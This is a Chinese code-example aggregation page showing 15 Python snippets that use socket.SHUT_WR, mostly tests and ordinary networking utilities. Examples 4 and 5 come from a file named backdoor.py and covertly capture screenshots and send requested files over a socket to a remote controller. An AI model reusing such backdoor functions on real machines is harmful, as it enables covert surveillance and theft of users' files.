當前位置: 首頁>>代碼示例>>Python>>正文


Python socket.SHUT_WR屬性代碼示例

本文整理匯總了Python中socket.SHUT_WR屬性的典型用法代碼示例。如果您正苦於以下問題:Python socket.SHUT_WR屬性的具體用法?Python socket.SHUT_WR怎麽用?Python socket.SHUT_WR使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在socket的用法示例。


在下文中一共展示了socket.SHUT_WR屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: testSendUnix

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def testSendUnix(self):
        if not hasattr(socket, "AF_UNIX"):
            pytest.skip("no unix domain sockets capability")
        SOCKNAME = "test_unixsocket"
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME)
        ss = socketutil.create_socket(bind=SOCKNAME)
        cs = socketutil.create_socket(connect=SOCKNAME)
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close()
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME) 
開發者ID:irmen,項目名稱:Pyro5,代碼行數:22,代碼來源:test_socketutil.py

示例2: end

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def end(self):
        self.active=False
        comm='SHUTDOWN'
        if self.conn:self.TSpush(comm)
        self.log.out("Ending")
        try: self._sock.shutdown(socket.SHUT_WR)
        except: pass
        if self.tsserv: self.tsserv.active=False
        if self.tsserv: self.tsserv.join()
        self.log.out("end thread")
        self._sock.close()
        self.log.out("socket closed")
        if self.progress:self.progress.close()

        if settings.getSetting('engine-status') == "true": 
            try:lat123._close()
            except:pass 
        
        if self.canceled: stop_aceengine() 
開發者ID:tvaddonsco,項目名稱:program.plexus,代碼行數:21,代碼來源:acecore.py

示例3: _set_socket

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def _set_socket(self, new_socket):
        curr_socket = getattr(self, 'sock', None)
        if curr_socket:
            try:
                curr_socket.shutdown(socket.SHUT_WR)
            except:
                pass
            try:
                curr_socket.close()
            except:
                pass

        reader_thread = self.reader_thread = ReaderThread(new_socket)
        self.sock = new_socket
        reader_thread.start()

        # initial command is always the version
        self.write_version()
        self.log.append('start_socket')
        self.finished_initialization = True 
開發者ID:fabioz,項目名稱:PyDev.Debugger,代碼行數:22,代碼來源:debugger_unittest.py

示例4: screenshot

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def screenshot(s):
    name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
    if(os.name == 'posix'): # se for unix-like
        img = pyscreenshot.grab()
        img.save(name)
    elif(os.name == 'nt'): # se for windows
        img = ImageGrab.grab()
        img.save(name)

    with open(name ,'rb') as f: 
        l = f.read(1024)
        l = name + '+/-' + l
        while(l):
            s.send(l)
            l = f.read(1024)

    print('sent')
    s.shutdown(socket.SHUT_WR)
    os.remove(name) 
開發者ID:tarcisio-marinho,項目名稱:RSB-Framework,代碼行數:21,代碼來源:backdoor.py

示例5: download

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def download(s):
    filename = s.recv(1024)
    print(filename)
    if(os.path.isfile(filename)):
        with open(filename, 'rb') as f: 
            l = f.read(1024)
            l = 'True+/-' + l
            while(l):
                s.send(l)
                l = f.read(1024)

        print('sent')
        s.shutdown(s.SHUT_WR)

    else:
        s.send('False') 
開發者ID:tarcisio-marinho,項目名稱:RSB-Framework,代碼行數:18,代碼來源:backdoor.py

示例6: _write_ready

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
開發者ID:Microvellum,項目名稱:Fluid-Designer,代碼行數:23,代碼來源:selector_events.py

示例7: service_connection

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def service_connection(key, mask):
    sock = key.fileobj
    data = key.data
    if mask & selectors.EVENT_READ:
        recv_data = sock.recv(BUFFER_SIZE)
        if recv_data:
            print('Received {} from connection {}'.format(repr(recv_data), data.connid))
            data.recv_total += len(recv_data)
        if not recv_data or data.recv_total == data.msg_total:
            print('Closing connection', data.connid)
            selector.unregister(sock)
            sock.close()
    if mask & selectors.EVENT_WRITE:
        if not data.outb and data.messages:
            data.outb = data.messages.pop(0).encode()
        if data.outb:
            print('Sending {} to connection {}'.format(repr(data.outb), data.connid))
            sent = sock.send(data.outb)
            sock.shutdown(socket.SHUT_WR)
            data.outb = data.outb[sent:] 
開發者ID:PacktPublishing,項目名稱:Learning-Python-Networking-Second-Edition,代碼行數:22,代碼來源:tcp_client_selectors.py

示例8: main

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def main() -> None:
    """Run the server."""
    try:
        ip = sys.argv[1]
        port = int(sys.argv[2])
    except (IndexError, ValueError):
        print("Usage: {} <BIND_IP> <PORT>".format(sys.argv[0]))
        sys.exit(1)

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((ip, port))
    server.listen(0)

    try:
        while True:
            print("Waiting for connection...")
            (stream, addr) = server.accept()
            print("Client connected: {}:{}".format(addr[0], addr[1]))
            handle_connection(stream)
            stream.shutdown(socket.SHUT_WR)
            stream.close()
    except KeyboardInterrupt:
        print("Received SIGINT: shutting down…") 
開發者ID:python-hyper,項目名稱:wsproto,代碼行數:26,代碼來源:synchronous_server.py

示例9: shutdown_request

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
開發者ID:Soft8Soft,項目名稱:verge3d-blender-addon,代碼行數:11,代碼來源:socketserver.py

示例10: finish_send

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def finish_send(self):
        """Indicate to the remote server you are done with sending data
        """
        # shutdown socket for sending. only allow reading data afterwards
        self._socket.shutdown(socketlib.SHUT_WR) 
開發者ID:greenbone,項目名稱:python-gvm,代碼行數:7,代碼來源:connections.py

示例11: testSend

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def testSend(self):
        ss = socketutil.create_socket(bind=("localhost", 0))
        port = ss.getsockname()[1]
        cs = socketutil.create_socket(connect=("localhost", port))
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close() 
開發者ID:irmen,項目名稱:Pyro5,代碼行數:16,代碼來源:test_socketutil.py

示例12: send

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def send(self):
        '''Ship the data to Zabbix.  Call as often as you like, though of course
        it's more efficient to call it just once after you've accumulated
        all of the data you'd like to send.

        The magic in here with structs is required to format everything for
        Zabbix' wire protocol.  If this breaks, it's time to dive into the
        Zabbix internals again.

        '''
        self.lock.acquire()
        if not self.data:
            self.lock.release()
            return # Nothing to send!
        if not self.no_send:
            response = {"request":"agent data", "clock":int(time.time()), "data":self.data}
            string = json.dumps(response)
            logging.debug(string)
            string_to_send = 'ZBXD\x01%s%s' % (struct.pack('<q', len(string)), string)
            s = socket.create_connection((self.zabbixserver, 10051))
            s.sendall(string_to_send)
            s.shutdown(socket.SHUT_WR)
            try:
                retstring = s.recv(5)   # Header, don't care: 'ZBXD\01'
                datalen = struct.unpack('<q',s.recv(8))[0] # Length of data being returned
                retstring = s.recv(datalen)               # Actual return string
                logging.debug(retstring)
            except Exception as e:
                logging.debug('ZAS.send: Failed to get a proper response: %s (%s)', retstring, e)
        self.clear()
        self.lock.release()
        return 
開發者ID:BrianGallew,項目名稱:zabbix_tool,代碼行數:34,代碼來源:python_zabbix_assistant.py

示例13: _send_query

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def _send_query(self, query):
        self.__socket.sendall(query)
        self.__socket.shutdown(socket.SHUT_WR)
        response = ''
        while True:
            r = self.__socket.recv(16)
            if r and r != '':
                response = ''.join((response, r))
            else:
                break
        return response 
開發者ID:vz-risk,項目名稱:Verum,代碼行數:13,代碼來源:cymru_api.py

示例14: netcat

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def netcat(hostname, port, content):
    mntr = ''
    conn = socket(AF_INET, SOCK_STREAM)
    conn.connect((hostname, port))
    conn.sendall(content)
    conn.shutdown(SHUT_WR)
    while True:
        data = conn.recv(1024)
        if data == '':
            break
        mntr += data
    conn.close()
    return mntr 
開發者ID:innogames,項目名稱:igcollect,代碼行數:15,代碼來源:zookeeper.py

示例15: request_tcp

# 需要導入模塊: import socket [as 別名]
# 或者: from socket import SHUT_WR [as 別名]
def request_tcp(host, port, message, timeout=5.0):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        sock.send(message)
        sock.send(b'\n')
        sock.shutdown(socket.SHUT_WR)
        sock.settimeout(timeout)
        string = b''
        while True:
            data = sock.recv(65535)
            if not len(data):
                break
            string = string + data
        return string 
開發者ID:andersroos,項目名稱:rankedftw,代碼行數:16,代碼來源:client.py


注:本文中的socket.SHUT_WR屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。